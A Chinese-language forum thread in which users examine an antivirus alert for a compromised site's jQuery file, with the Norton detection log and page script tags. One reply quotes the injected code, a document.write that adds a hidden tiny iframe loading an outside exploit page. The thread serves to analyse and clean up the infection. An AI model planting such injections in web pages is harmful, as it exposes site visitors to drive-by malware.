http://www.jimatconsult.co.zw/JIMAT...【失效 by 阿狸】

wjcharles

hxxp://www.jimatconsult.co.zw/JIMAT_wins_long_term_contract_with_UNWOMEN

文件名: jquery-1.4.2.min[1].js
威胁名称: IFrame.Exploit
完整路径: c:\users\wjch\appdata\local\microsoft\windows\temporary internet files\low\content.ie5\ahau1kt8\jquery-1.4.2.min[1].js

____________________________

详细信息
未知的社区使用情况,  未知的文件存在时间,  风险 高

原始
下载自� 未知

活动
已执行的操作: 已执行的操作: 1

____________________________


在电脑上的创建时间 不可用
上次使用时间 2013/3/15 ( 0:54:45 )
启动项目 否
已启动 否

____________________________


未知
诺顿社区中使用了此文件的用户数未知。

未知
此文件版本当前未知。

高
此文件具有高风险。

威胁类型: 病毒。 将自身插入或附加到其他程序、文件或电脑区域以感染这些媒介的程序。



____________________________



来源: 外部介质
�

____________________________

文件操作

文件: c:\users\wjch\appdata\local\microsoft\windows\temporary internet files\low\content.ie5\ahau1kt8\jquery-1.4.2.min[1].js已删除
____________________________


文件指纹 - SHA:
25680236ebcd3a294e85d1ca7cec707514ba32a963b78033adc95088e104bfba
文件指纹 - MD5:
不可用

蓝核

1. <!--SCRIPT-->
   
2. <script type="text/javascript" src="js/jquery-1.4.2.min.js"></script>
   
3. <script type="text/javascript" src="http://www.jimatconsult.co.zw/css/tablecloth.js"></script>
   
4. <script type="text/javascript">

复制代码

等其他人喷我……我表示暂时只到这里

hai19871223

360杀毒清除

zmzcy

IPS拦截吗？

wjcharles

zmzcy 发表于 2013-3-15 16:21
IPS拦截吗？

没有，1L的是拦截记录

wjhstu-VxG

蓝核 发表于 2013-3-15 12:11
等其他人喷我……我表示暂时只到这里

其实挺简单的 这个

打开你上面发现的这个：<script type="text/javascript" src="js/jquery-1.4.2.min.js"></script>

1. document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://forums.smartlanka.net/eems.html?j=1347362></iframe>');

复制代码

看看杀毒软件报的

蓝核

wjhstu-VxG 发表于 2013-3-16 12:22
其实挺简单的 这个

打开你上面发现的这个：看看杀毒软件报的

我打开了……然后看看关掉了……多谢~